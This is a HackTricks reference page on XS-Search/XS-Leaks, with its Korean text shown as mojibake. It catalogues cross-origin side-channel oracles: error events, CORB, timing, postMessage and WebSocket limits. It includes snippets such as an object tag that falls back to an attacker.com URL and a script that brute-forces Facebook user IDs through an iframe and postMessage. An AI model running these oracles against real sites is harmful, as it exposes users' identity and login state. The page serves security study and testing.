XS-Search/XS-Leaks
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ธฐ๋ณธ ์ ๋ณด
XS-Search๋ extracting cross-origin information์ ์ํด side channel vulnerabilities๋ฅผ ์ ์ฉํ๋ ๋ฐฉ๋ฒ์ ๋๋ค.
์ด ๊ณต๊ฒฉ์ ๊ด๋ จ๋ ์ฃผ์ ๊ตฌ์ฑ ์์๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
- Vulnerable Web: ์ ๋ณด ์ถ์ถ ๋์์ธ ํ๊น ์น์ฌ์ดํธ.
- Attackerโs Web: ๊ณต๊ฒฉ์๊ฐ ๋ง๋ค๊ณ ํผํด์๊ฐ ๋ฐฉ๋ฌธํ๋ ์ ์ฑ ์น์ฌ์ดํธ(์ต์คํ๋ก์ ํธ์คํ ).
- Inclusion Method: Vulnerable Web์ Attackerโs Web์ ํฌํจ์ํค๋ ๋ฐ ์ฌ์ฉ๋๋ ๊ธฐ๋ฒ (์: window.open, iframe, fetch, HTML ํ๊ทธ์ href ๋ฑ).
- Leak Technique: Inclusion Method๋ฅผ ํตํด ์์งํ ์ ๋ณด๋ฅผ ๋ฐํ์ผ๋ก Vulnerable Web์ ์ํ ์ฐจ์ด๋ฅผ ํ๋ณํ๋ ๊ธฐ์ .
- States: ๊ณต๊ฒฉ์๊ฐ ๊ตฌ๋ถํ๋ ค๋ Vulnerable Web์ ๋ ๊ฐ์ง ๊ฐ๋ฅํ ์ํ.
- Detectable Differences: ๊ณต๊ฒฉ์๊ฐ Vulnerable Web์ ์ํ๋ฅผ ์ถ๋ก ํ๊ธฐ ์ํด ์์กดํ๋ ๊ด์ฐฐ ๊ฐ๋ฅํ ์ฐจ์ด์ ๋ค.
Detectable Differences
Vulnerable Web์ ์ํ๋ฅผ ๊ตฌ๋ณํ๊ธฐ ์ํด ๋ถ์ํ ์ ์๋ ์ฌ๋ฌ ์ธก๋ฉด:
- Status Code: ์๋ฒ ์ค๋ฅ, ํด๋ผ์ด์ธํธ ์ค๋ฅ ๋๋ ์ธ์ฆ ์ค๋ฅ์ ๊ฐ์ด cross-origin์์์ ๋ค์ํ HTTP ์๋ต status code๋ฅผ ๊ตฌ๋ณ.
- API Usage: ํ์ด์ง ์ ๋ฐ์์ ํน์ JavaScript Web API์ ์ฌ์ฉ ์ฌ๋ถ๋ฅผ ์๋ณ.
- Redirects: HTTP ๋ฆฌ๋ค์ด๋ ํธ๋ฟ ์๋๋ผ JavaScript๋ HTML์ ์ํด ๋ฐ์ํ๋ ๋ค๋ฅธ ํ์ด์ง๋ก์ ๋ค๋น๊ฒ์ด์ ๊ฐ์ง.
- Page Content: HTTP ์๋ต ๋ณธ๋ฌธ ๋๋ ํ์ ๋ฆฌ์์ค(์: ํฌํจ๋ frame ์ ๋๋ ์ด๋ฏธ์ง ํฌ๊ธฐ ์ฐจ์ด)์์์ ๋ณํ๋ฅผ ๊ด์ฐฐ.
- HTTP Header: X-Frame-Options, Content-Disposition, Cross-Origin-Resource-Policy ๊ฐ์ ํน์ HTTP ์๋ต header์ ์กด์ฌ ๋๋ ๊ฐ ์ ๋ฌด๋ฅผ ์ฃผ๋ชฉ.
- Timing: ๋ ์ํ ๊ฐ์ ์ผ๊ด๋ ์๊ฐ ์ฐจ์ด๋ฅผ ๊ฐ์ง.
Inclusion Methods
- HTML Elements: stylesheet, image, script ๋ฑ๊ณผ ๊ฐ์ cross-origin ๋ฆฌ์์ค ํฌํจ์ ์ํด HTML ์์๋ค์ ์ฌ์ฉํ ์ ์์ผ๋ฉฐ, ๋ธ๋ผ์ฐ์ ๊ฐ non-HTML ๋ฆฌ์์ค๋ฅผ ์์ฒญํ๋๋ก ์ ๋ํจ. ์ด๋ฅผ ์ํ ์ ์ฌ์ HTML ์์ ๋ชจ์์ https://github.com/cure53/HTTPLeaks์์ ํ์ธ ๊ฐ๋ฅ.
- Frames: iframe, object, embed ๊ฐ์ ์์๋ HTML ๋ฆฌ์์ค๋ฅผ ๊ณต๊ฒฉ์ ํ์ด์ง์ ์ง์ ์๋ฒ ๋ํ ์ ์์. ํ์ด์ง๊ฐ framing protection์ ์ ์ฉํ์ง ์๋ ๊ฒฝ์ฐ, JavaScript๋ contentWindow ์์ฑ์ ํตํด ํ๋ ์๋ ๋ฆฌ์์ค์ window ๊ฐ์ฒด์ ์ ๊ทผํ ์ ์์.
- Pop-ups:
window.open๋ฉ์๋๋ ๋ฆฌ์์ค๋ฅผ ์ ํญ์ด๋ ์ฐฝ์ผ๋ก ์ด๊ณ , SOP์ ๋ฐ๋ผ JavaScript๊ฐ ๋ฉ์๋์ ์์ฑ์ ํตํด ์ํธ์์ฉํ ์ ์๋ window handle์ ์ ๊ณต. ํ์ ์ ์ข ์ข single sign-on์์ ์ฌ์ฉ๋๋ฉฐ ํ๊น ๋ฆฌ์์ค์ ํ๋ ์ด๋ฐ ๋ฐ ์ฟ ํค ์ ํ์ ์ฐํํ ์ ์์. ๋ค๋ง ์ต์ ๋ธ๋ผ์ฐ์ ๋ ํน์ ์ฌ์ฉ์ ์ก์ ์ผ๋ก๋ง ํ์ ์์ฑ์ ํ์ฉํจ. - JavaScript Requests: JavaScript๋ XMLHttpRequests๋ Fetch API๋ฅผ ์ฌ์ฉํด ๋์ ๋ฆฌ์์ค์ ์ง์ ์์ฒญ์ ๋ณด๋ผ ์ ์์. ์ด๋ค ๋ฐฉ๋ฒ์ HTTP ๋ฆฌ๋ค์ด๋ ํธ๋ฅผ ๋ฐ๋ฅผ์ง ์ฌ๋ถ ๋ฑ ์์ฒญ์ ๋ํ ์ ๋ฐํ ์ ์ด๋ฅผ ์ ๊ณต.
Leak Techniques
- Event Handler: XS-Leaks์์ ๊ณ ์ ์ ์ธ leak ๊ธฐ๋ฒ์ผ๋ก, onload์ onerror ๊ฐ์ ์ด๋ฒคํธ ํธ๋ค๋ฌ๊ฐ ๋ฆฌ์์ค ๋ก๋ฉ์ ์ฑ๊ณต/์คํจ์ ๋ํ ์ ๋ณด๋ฅผ ์ ๊ณตํจ.
- Error Messages: JavaScript ์์ธ๋ ํน์ํ ์๋ฌ ํ์ด์ง๋ ์๋ฌ ๋ฉ์์ง ์์ฒด์์ ๋๋ ์กด์ฌ ์ ๋ฌด๋ฅผ ๋น๊ตํ์ฌ leak ์ ๋ณด๋ฅผ ์ ๊ณตํ ์ ์์.
- Global Limits: ๋ฉ๋ชจ๋ฆฌ ์ฉ๋์ด๋ ๋ธ๋ผ์ฐ์ ๊ฐ ๊ฐ์ ํ๋ ๋ค๋ฅธ ํ๊ณ์ฒ๋ผ ๋ธ๋ผ์ฐ์ ์ ๋ฌผ๋ฆฌ์ ์ ํ์ ์๊ณ๊ฐ ๋๋ฌ ์ ์ ํธ๋ฅผ ๋ณด๋ด leak ๊ธฐ๋ฒ์ผ๋ก ํ์ฉ๋ ์ ์์.
- Global State: History ์ธํฐํ์ด์ค ๋ฑ ๋ธ๋ผ์ฐ์ ์ global states์์ ์ํธ์์ฉ์ด ๊ฐ์ง ๊ฐ๋ฅํ๋ฉฐ, ์๋ฅผ ๋ค์ด ๋ธ๋ผ์ฐ์ ํ์คํ ๋ฆฌ์ entries ์๋ cross-origin ํ์ด์ง์ ๋ํ ์ค๋ง๋ฆฌ๋ฅผ ์ ๊ณตํ ์ ์์.
- Performance API: ํ์ฌ ํ์ด์ง์ ์ฑ๋ฅ ์ธ๋ถ์ ๋ณด๋ฅผ ์ ๊ณตํ๋ฉฐ, ๋ฌธ์ ๋ฐ ๋ก๋๋ ๋ฆฌ์์ค์ ๋คํธ์ํฌ ํ์ด๋ฐ์ ํฌํจํด ์์ฒญ๋ ๋ฆฌ์์ค์ ๋ํด ์ถ๋ก ํ ์ ์๊ฒ ํจ.
- Readable Attributes: ์ผ๋ถ HTML ์์ฑ์ cross-origin์ผ๋ก๋ถํฐ ์ฝ์ ์ ์์ด leak ๊ธฐ๋ฒ์ผ๋ก ์ฌ์ฉ๋ ์ ์์. ์๋ฅผ ๋ค์ด
window.frame.length์์ฑ์ cross-origin์ผ๋ก ํฌํจ๋ ํ๋ ์ ์๋ฅผ JavaScript๋ก ์ ์ ์๊ฒ ํจ.
XSinator Tool & Paper
XSinator๋ ์ฌ๋ฌ ์๋ ค์ง XS-Leaks์ ๋ํด ๋ธ๋ผ์ฐ์ ๋ฅผ ์๋์ผ๋ก ์ ๊ฒํ๋ ๋๊ตฌ์ด๋ฉฐ, ๋ ผ๋ฌธ์ ๋ค์์์ ํ์ธํ ์ ์์ต๋๋ค: https://xsinator.com/paper.pdf
๋๊ตฌ๋ ๋ค์์์ ์ ๊ทผํ ์ ์์ต๋๋ค: https://xsinator.com/
Warning
Excluded XS-Leaks: XSinator๋ ๋ค๋ฅธ leaks์ ๊ฐ์ญํ ์ ์๊ธฐ ๋๋ฌธ์ service workers์ ์์กดํ๋ XS-Leaks๋ ์ ์ธํ์ต๋๋ค. ๋ํ ํน์ ์น ์ ํ๋ฆฌ์ผ์ด์ ์ ์๋ชป๋ ์ค์ ์ด๋ ๋ฒ๊ทธ์ ์์กดํ๋ XS-Leaks(์: CrossOrigin Resource Sharing (CORS) misconfigurations, postMessage leakage ๋๋ Cross-Site Scripting)๋ ์ ์ธํ๊ธฐ๋ก ํ์ต๋๋ค. ์ถ๊ฐ๋ก, timebased XS-Leaks๋ ๋๋ฆฌ๊ณ , ์์์ด ๋ง๊ณ , ์ ํ๋๊ฐ ๋ฎ์ ๊ฒฝ์ฐ๊ฐ ๋ง์ ์ ์ธํ์ต๋๋ค.
Timing Based techniques
๋ค์์ ๋์ค๋ ์ผ๋ถ ๊ธฐ๋ฒ์ ์น ํ์ด์ง์ ๊ฐ๋ฅํ ์ํ ์ฐจ์ด๋ฅผ ๊ฐ์งํ๋ ๊ณผ์ ์์ timing์ ์ฌ์ฉํฉ๋๋ค. ์น ๋ธ๋ผ์ฐ์ ์์ ์๊ฐ์ ์ธก์ ํ๋ ๋ค์ํ ๋ฐฉ๋ฒ์ด ์์ต๋๋ค.
Clocks: performance.now() API๋ ๊ณ ํด์๋ ํ์ด๋ฐ ์ธก์ ์ ์ ๊ณตํฉ๋๋ค.
๊ณต๊ฒฉ์๊ฐ ์๋ฌต์ ์๊ณ๋ฅผ ๋ง๋ค๊ธฐ ์ํด ์
์ฉํ ์ ์๋ API๊ฐ ์๋น์ ์กด์ฌํฉ๋๋ค: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, CSS animations ๋ฑ.
์์ธํ ์ ๋ณด: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.
Event Handler Techniques
Onload/Onerror
- Inclusion Methods: Frames, HTML Elements
- Detectable Difference: Status Code
- More info: https://www.usenix.org/conference/usenixsecurity19/presentation/staicu, https://xsleaks.dev/docs/attacks/error-events/
- Summary: ๋ฆฌ์์ค ๋ก๋๋ฅผ ์๋ํ ๋ onerror/onload ์ด๋ฒคํธ๋ ๋ฆฌ์์ค๊ฐ ์ฑ๊ณต์ ์ผ๋ก ๋ก๋๋์๋์ง/์คํจํ๋์ง์ ๋ฐ๋ผ ํธ๋ฆฌ๊ฑฐ๋๋ฏ๋ก status code๋ฅผ ํ์ ํ ์ ์์.
- Code example: https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)
ํด๋น ์ฝ๋ ์์ ๋ JS์์ ์คํฌ๋ฆฝํธ ๊ฐ์ฒด๋ฅผ ๋ก๋ํ๋ ค๊ณ ํ์ง๋ง, objects, stylesheets, images, audios ๊ฐ์ ๋ค๋ฅธ ํ๊ทธ๋ค๋ ์ฌ์ฉํ ์ ์์ต๋๋ค. ๋ํ ํ๊ทธ๋ฅผ ์ง์ ์ฃผ์
ํ๊ณ ํ๊ทธ ๋ด๋ถ์์ onload์ onerror ์ด๋ฒคํธ๋ฅผ ์ ์ธํ๋ ๊ฒ๋ ๊ฐ๋ฅํฉ๋๋ค(๋์ JS์์ ์ฃผ์
ํ๋ ๋ฐฉ๋ฒ ๋์ ).
์ด ๊ณต๊ฒฉ์๋ ์คํฌ๋ฆฝํธ๊ฐ ์๋ ๋ฒ์ ๋ ์กด์ฌํฉ๋๋ค:
<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>
์ด ๊ฒฝ์ฐ example.com/404๊ฐ ์กด์ฌํ์ง ์์ผ๋ฉด attacker.com/?error๊ฐ ๋ก๋๋ฉ๋๋ค.
Content-Type/CORB script load oracle
- ํฌํจ ๋ฐฉ์: HTML Elements (script)
- ๊ฐ์ง ๊ฐ๋ฅํ ์ฐจ์ด: Header / Content-Type via onload vs onerror (CORB)
- ์์ฝ: ์๋ํฌ์ธํธ๊ฐ ์ผ์นํ ๋ HTML์ ๋ฐํํ๊ณ ๋ถ์ผ์นํ ๋ JSON์ ๋ฐํํ๋ฉด
<script src>๋ก ๋ก๋ํ์ธ์. HTML์onload๋ฅผ ํธ๋ฆฌ๊ฑฐํ๊ณ , JSON์ CORB์ ์ํด ์ฐจ๋จ๋์ดonerror๋ฅผ ๋ฐ์์ํต๋๋ค. ์ด๋ ์๋ ค์ง ๋ฒ์ ๋ด์์__user๊ฐ์ ์๋ณ์๋ฅผ ๋ฌด์ฐจ๋ณ ๋์ ์ผ๋ก ์ฐพ์ ์ ์๋ ๋ถ๋ฆฌ์ธ ์ค๋ผํด(Boolean oracle)์ ์ ๊ณตํฉ๋๋ค. - ์ฐธ๊ณ : ๋ณธ ๋ฐฉ๋ฒ์ ๋ณธ๋ฌธ์ ์ฝ์ง ์๊ณ ๋ cross-origin์์ ์๋ํฉ๋๋ค; tenant ID๊ฐ ๊ณ ์ ๋ ๊ฒฝ์ฐ ํ์ฑ ๊ณ์ ์ ์ด๊ฑฐํ๋ ๋ฐ ์ ์ฉํฉ๋๋ค.
postMessage vs X-Frame-Options deny oracle
- ํฌํจ ๋ฐฉ์: Frames
- ๊ฐ์ง ๊ฐ๋ฅํ ์ฐจ์ด: Header (XFO) + postMessage ์กด์ฌ/๋ถ์ฌ
- ์์ฝ: ์ผ๋ถ ์์ ฏ์ ๋ก๋๋๋ฉด ๋ถ๋ชจ์๊ฒ postMessage๋ฅผ ๋ณด๋
๋๋ค. ์์ฒญ์ด ์๋ชป๋ ์๋ณ์๋ก ํ๋ ์ด๋ฐ๋๋ฉด ์๋ฒ๊ฐ
X-Frame-Options: deny๋ก ์๋ตํ์ฌ ๋ ๋๋ง์ ์ฐจ๋จํ๊ณ ๋ฉ์์ง๊ฐ ์ ์ก๋์ง ์์ ์ ์์ต๋๋ค. iframe์src๋ฅผ ํ๋ณด ID๋ก ์ค์ ํ๊ณmessage์ด๋ฒคํธ๋ฅผ ๊ธฐ๋ค๋ฆฌ๋ฉฐ(์ฑ๊ณต ์) ํ์์์/๋ฉ์์ง ์์์ ์คํจ๋ก ์ฒ๋ฆฌํ๋ฉด ํ์ฑ ๊ณ์ ์ ๋ฌด์ฐจ๋ณ ๋์ ์ผ๋ก ์ฐพ์ ์ ์์ต๋๋ค. - ์ต์ ์ค๋ํซ:
<iframe id=fb width=0 height=0></iframe>
<script>
function test(id){
fb.src=`https://www.facebook.com/plugins/like.php?__a=1&__user=${id}`;
return new Promise(r=>{
const t=setTimeout(()=>r(false),2000);
onmessage=()=>{clearTimeout(t);r(true);}
});
}
</script>
- ๊ด๋ จ: PostMessage Vulnerabilities
๋ฉ์์ง/iframe ๊ด๋ จ ์ถ๊ฐ ํจ์ ์ ์ ๋งํฌ๋ค์ ์ฐธ๊ณ ํ์ธ์.
Onload Timing
- Inclusion Methods: HTML Elements
- Detectable Difference: ๊ฐ์ง ๊ฐ๋ฅํ ์ฐจ์ด: ํ์ด๋ฐ(์ผ๋ฐ์ ์ผ๋ก ํ์ด์ง ์ฝํ ์ธ ๋ ์ํ ์ฝ๋๋ก ์ธํ)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events
- Summary: performance.now() API๋ ์์ฒญ์ ์ํํ๋ ๋ฐ ๊ฑธ๋ฆฌ๋ ์๊ฐ์ ์ธก์ ํ๋ ๋ฐ ์ฌ์ฉํ ์ ์์ต๋๋ค. ๊ทธ๋ฌ๋ PerformanceLongTaskTiming API์ ๊ฐ์ ๋ค๋ฅธ ํด๋ก๋ ์ฌ์ฉ๋ ์ ์์ผ๋ฉฐ, ์ด๋ 50ms๋ฅผ ์ด๊ณผํ์ฌ ์คํ๋๋ ์์ ์ ์๋ณํ ์ ์์ต๋๋ค.
- Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events ๋ ๋ค๋ฅธ ์๋:
Onload Timing + Forced Heavy Task
์ด ๊ธฐ๋ฒ์ ์ด์ ๊ฒ๊ณผ ๋์ผํ์ง๋ง, ๊ณต๊ฒฉ์๊ฐ ์๋ต์ด ๊ธ์ ์ ์ด๊ฑฐ๋ ๋ถ์ ์ ์ผ ๋ ์ผ๋ถ ๋์์ด ์๋นํ ์๊ฐ์ ์์ํ๋๋ก ๊ฐ์ ํ๊ณ ๊ทธ ์๊ฐ์ ์ธก์ ํฉ๋๋ค.
performance.now + Force heavy task
unload/beforeunload Timing
- Inclusion Methods: Frames
- Detectable Difference: ๊ฐ์ง ๊ฐ๋ฅํ ์ฐจ์ด: ํ์ด๋ฐ(์ผ๋ฐ์ ์ผ๋ก ํ์ด์ง ์ฝํ ์ธ ๋ ์ํ ์ฝ๋๋ก ์ธํ)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events
- Summary: SharedArrayBuffer clock๋ฅผ ์ฌ์ฉํ์ฌ ์์ฒญ์ ์ํํ๋ ๋ฐ ๊ฑธ๋ฆฌ๋ ์๊ฐ์ ์ธก์ ํ ์ ์์ต๋๋ค. ๋ค๋ฅธ ํด๋ก๋ ์ฌ์ฉ๋ ์ ์์ต๋๋ค.
- Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events
๋ฆฌ์์ค๋ฅผ ๊ฐ์ ธ์ค๋ ๋ฐ ๊ฑธ๋ฆฌ๋ ์๊ฐ์ unload ๋ฐ beforeunload ์ด๋ฒคํธ๋ฅผ ์ด์ฉํด ์ธก์ ํ ์ ์์ต๋๋ค. beforeunload ์ด๋ฒคํธ๋ ๋ธ๋ผ์ฐ์ ๊ฐ ์ ํ์ด์ง๋ก ์ด๋ํ๋ ค ํ ๋ ๋ฐ์ํ๊ณ , unload ์ด๋ฒคํธ๋ ์ค์ ๋ก ์ด๋์ด ์งํ๋ ๋ ๋ฐ์ํฉ๋๋ค. ์ด ๋ ์ด๋ฒคํธ ๊ฐ์ ์๊ฐ ์ฐจ์ด๋ฅผ ๊ณ์ฐํ๋ฉด ๋ธ๋ผ์ฐ์ ๊ฐ ๋ฆฌ์์ค๋ฅผ ๊ฐ์ ธ์ค๋ ๋ฐ ์์ํ ๊ธฐ๊ฐ์ ์ ์ ์์ต๋๋ค.
Sandboxed Frame Timing + onload
- Inclusion Methods: Frames
- Detectable Difference: ๊ฐ์ง ๊ฐ๋ฅํ ์ฐจ์ด: ํ์ด๋ฐ(์ผ๋ฐ์ ์ผ๋ก ํ์ด์ง ์ฝํ ์ธ ๋ ์ํ ์ฝ๋๋ก ์ธํ)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks
- Summary: performance.now() API๋ ์์ฒญ์ ์ํํ๋ ๋ฐ ๊ฑธ๋ฆฌ๋ ์๊ฐ์ ์ธก์ ํ๋ ๋ฐ ์ฌ์ฉํ ์ ์์ต๋๋ค. ๋ค๋ฅธ ํด๋ก๋ ์ฌ์ฉ๋ ์ ์์ต๋๋ค.
- Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks
Framing Protections๊ฐ ์๋ ๊ฒฝ์ฐ, ๊ณต๊ฒฉ์๊ฐ ํ์ด์ง์ ๊ทธ ํ์ ๋ฆฌ์์ค๊ฐ ๋คํธ์ํฌ๋ฅผ ํตํด ๋ก๋๋๋ ๋ฐ ํ์ํ ์๊ฐ์ ์ธก์ ํ ์ ์์์ด ๊ด์ฐฐ๋์์ต๋๋ค. ์ด๋ฌํ ์ธก์ ์ ์ผ๋ฐ์ ์ผ๋ก iframe์ onload ํธ๋ค๋ฌ๊ฐ ๋ฆฌ์์ค ๋ก๋์ JavaScript ์คํ์ด ์๋ฃ๋ ์ดํ์๋ง ํธ๋ฆฌ๊ฑฐ๋๊ธฐ ๋๋ฌธ์ ๊ฐ๋ฅํฉ๋๋ค. ์คํฌ๋ฆฝํธ ์คํ์ด ๋์
ํ๋ ๋ณ๋์ฑ์ ์ฐํํ๊ธฐ ์ํด, ๊ณต๊ฒฉ์๋ <iframe> ๋ด์์ sandbox ์์ฑ์ ์ฌ์ฉํ ์ ์์ต๋๋ค. ์ด ์์ฑ์ ํฌํจํ๋ฉด JavaScript ์คํ์ ํฌํจํ ์ฌ๋ฌ ๊ธฐ๋ฅ์ด ์ ํ๋์ด ๋คํธ์ํฌ ์ฑ๋ฅ์ ์ฃผ๋ก ์ํฅ์ ๋ฐ๋ ์ธก์ ์ด ์ฉ์ดํด์ง๋๋ค.
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>
#ID + error + onload
- ํฌํจ ๋ฐฉ๋ฒ: Frames
- ์๋ณ ๊ฐ๋ฅํ ์ฐจ์ด: Page Content
- ๋ ๋ง์ ์ ๋ณด:
- ์์ฝ: ์ฌ๋ฐ๋ฅธ ์ปจํ ์ธ ์ ์ ๊ทผํ์ ๋ ํ์ด์ง๋ฅผ ์๋ฌ ์ํ๋ก ๋ง๋ค๊ณ , ์๋ชป๋(๋๋ ์๋ฌด) ์ปจํ ์ธ ์ ์ ๊ทผํ์ ๋๋ ์ ์์ ์ผ๋ก ๋ก๋๋๊ฒ ๋ง๋ค ์ ์๋ค๋ฉด, ์๊ฐ์ ์ธก์ ํ์ง ์๊ณ ๋ ๋ชจ๋ ์ ๋ณด๋ฅผ ์ถ์ถํ ์ ์๋ ๋ฃจํ๋ฅผ ๋ง๋ค ์ ์๋ค.
- ์ฝ๋ ์์:
Suppose that you can insert the page that has the secret content inside an Iframe.
You can make the victim search for the file that contains โflagโ using an Iframe (exploiting a CSRF for example). Inside the Iframe you know that the onload event will be executed always at least once. Then, you can change the URL of the iframe but changing only the content of the hash inside the URL.
For example:
- URL1: www.attacker.com/xssearch#try1
- URL2: www.attacker.com/xssearch#try2
If the first URL was successfully loaded, then, when changing the hash part of the URL the onload event wonโt be triggered again. But if the page had some kind of error when loading, then, the onload event will be triggered again.
Then, you can distinguish between a correctly loaded page or page that has an error when is accessed.
Javascript Execution
- ํฌํจ ๋ฐฉ๋ฒ: Frames
- ์๋ณ ๊ฐ๋ฅํ ์ฐจ์ด: Page Content
- ๋ ๋ง์ ์ ๋ณด:
- ์์ฝ: ํ์ด์ง๊ฐ ๋ฏผ๊ฐํ ์ปจํ
์ธ ๋ฅผ ๋ฐํํ๊ฑฐ๋, ์ฌ์ฉ์๊ฐ ์ ์ดํ ์ ์๋ ์ปจํ
์ธ ๋ฅผ ๋ฐํํ๋ ๊ฒฝ์ฐ, ๊ณต๊ฒฉ์๋ ๋ถ์ ์ฌ๋ก(negative case)์์ ์ ํจํ JS ์ฝ๋๋ฅผ ์ค์ ํ๊ณ ๊ฐ ์๋๋ง๋ค
<script>ํ๊ทธ ์์ ๋ก๋ํ๋๋ก ํ ์ ์๋ค. ๊ทธ๋ฌ๋ฉด ๋ถ์ ์ฌ๋ก์์๋ ๊ณต๊ฒฉ์ ์ฝ๋๊ฐ ์คํ๋๊ณ , ๊ธ์ ์ฌ๋ก์์๋ ์๋ฌด๊ฒ๋ ์คํ๋์ง ์๋๋ค. - ์ฝ๋ ์์:
CORB - Onerror
- ํฌํจ ๋ฐฉ๋ฒ: HTML Elements
- ์๋ณ ๊ฐ๋ฅํ ์ฐจ์ด: Status Code & Headers
- ๋ ๋ง์ ์ ๋ณด: https://xsleaks.dev/docs/attacks/browser-features/corb/
- ์์ฝ: Cross-Origin Read Blocking (CORB)์ Spectre์ ๊ฐ์ ๊ณต๊ฒฉ์ผ๋ก๋ถํฐ ๋ณดํธํ๊ธฐ ์ํด ํน์ ํฌ๋ก์ค-์ค๋ฆฌ์ง ๋ฏผ๊ฐ ๋ฆฌ์์ค์ ๋ก๋๋ฅผ ์ฐจ๋จํ๋ ๋ณด์ ์กฐ์น์ด๋ค. ๊ทธ๋ฌ๋ ๊ณต๊ฒฉ์๋ ์ด ๋ณดํธ ๋์์ ์
์ฉํ ์ ์๋ค. CORB์ ๋์์ด ๋๋ ์๋ต์ด
nosniff๊ฐ ์ค์ ๋ CORB ๋ณดํธ๋๋Content-Type๊ณผ2xx์ํ ์ฝ๋๋ฅผ ๋ฐํํ๋ฉด, CORB๋ ์๋ต์ ๋ฐ๋์ ํค๋๋ฅผ ์ ๊ฑฐํ๋ค. ์ด๋ฅผ ๊ด์ฐฐํ๋ ๊ณต๊ฒฉ์๋ ์ฑ๊ณต/์ค๋ฅ๋ฅผ ๋ํ๋ด๋ status code์ CORB๋ก ๋ณดํธ๋๋์ง๋ฅผ ๋ํ๋ด๋ Content-Type์ ์กฐํฉ์ ์ถ๋ก ํ ์ ์์ด ์ ์ฌ์ ์ธ ์ ๋ณด ์ ์ถ์ ์ด๋ํ ์ ์๋ค. - ์ฝ๋ ์์:
Check the more information link for more information about the attack.
onblur
- ํฌํจ ๋ฐฉ๋ฒ: Frames
- ์๋ณ ๊ฐ๋ฅํ ์ฐจ์ด: Page Content
- ๋ ๋ง์ ์ ๋ณด: https://xsleaks.dev/docs/attacks/id-attribute/, https://xsleaks.dev/docs/attacks/experiments/portals/
- ์์ฝ: id ๋๋ name ์์ฑ์์ ๋ฏผ๊ฐํ ๋ฐ์ดํฐ๋ฅผ ์ ์ถํ๋ค.
- ์ฝ๋ ์์: https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet
Itโs possible to load a page inside an iframe and use the #id_value to make the page focus on the element of the iframe with indicated if, then if an onblur signal is triggered, the ID element exists.
You can perform the same attack with portal tags.
postMessage Broadcasts
- ํฌํจ ๋ฐฉ๋ฒ: Frames, Pop-ups
- ์๋ณ ๊ฐ๋ฅํ ์ฐจ์ด: API Usage
- ๋ ๋ง์ ์ ๋ณด: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
- ์์ฝ: postMessage์์ ๋ฏผ๊ฐํ ์ ๋ณด๋ฅผ ์์งํ๊ฑฐ๋ postMessages์ ์กด์ฌ ์์ฒด๋ฅผ ์ค๋ผํด๋ก ์ฌ์ฉํด ํ์ด์ง์์ ์ฌ์ฉ์์ ์ํ๋ฅผ ์ ์ ์๋ค.
- ์ฝ๋ ์์:
Any code listening for all postMessages.
Applications frequently utilize postMessage broadcasts to communicate across different origins. However, this method can inadvertently expose sensitive information if the targetOrigin parameter is not properly specified, allowing any window to receive the messages. Furthermore, the mere act of receiving a message can act as an oracle; for instance, certain messages might only be sent to users who are logged in. Therefore, the presence or absence of these messages can reveal information about the userโs state or identity, such as whether they are authenticated or not.
Global Limits Techniques
WebSocket API
- ํฌํจ ๋ฐฉ๋ฒ: Frames, Pop-ups
- ์๋ณ ๊ฐ๋ฅํ ์ฐจ์ด: API Usage
- ๋ ๋ง์ ์ ๋ณด: https://xsinator.com/paper.pdf (5.1)
- ์์ฝ: WebSocket ์ฐ๊ฒฐ ํ๋๋ฅผ ์๋ชจํ๋ฉด, ํฌ๋ก์ค-์ค๋ฆฌ์ง ํ์ด์ง๊ฐ ์ฌ์ฉ ์ค์ธ WebSocket ์ฐ๊ฒฐ ์๋ฅผ ์ ์ถํ๋ค.
- ์ฝ๋ ์์: https://xsinator.com/testing.html#WebSocket%20Leak%20(FF), https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)
It is possible to identify if, and how many, WebSocket connections a target page uses. It allows an attacker to detect application states and leak information tied to the number of WebSocket connections.
If one origin uses the maximum amount of WebSocket connection objects, regardless of their connections state, the creation of new objects will result in JavaScript exceptions. To execute this attack, the attacker website opens the target website in a pop-up or iframe and then, after the target web has been loaded, attempts to create the maximum number of WebSockets connections possible. The number of thrown exceptions is the number of WebSocket connections used by the target website window.
Payment API
- ํฌํจ ๋ฐฉ๋ฒ: Frames, Pop-ups
- ์๋ณ ๊ฐ๋ฅํ ์ฐจ์ด: API Usage
- ๋ ๋ง์ ์ ๋ณด: https://xsinator.com/paper.pdf (5.1)
- ์์ฝ: ํ ๋ฒ์ ํ๋๋ง ํ์ฑํ๋ ์ ์๊ธฐ ๋๋ฌธ์ Payment Request์ ์ฌ์ฉ ์ฌ๋ถ๋ฅผ ๊ฐ์งํ๋ค.
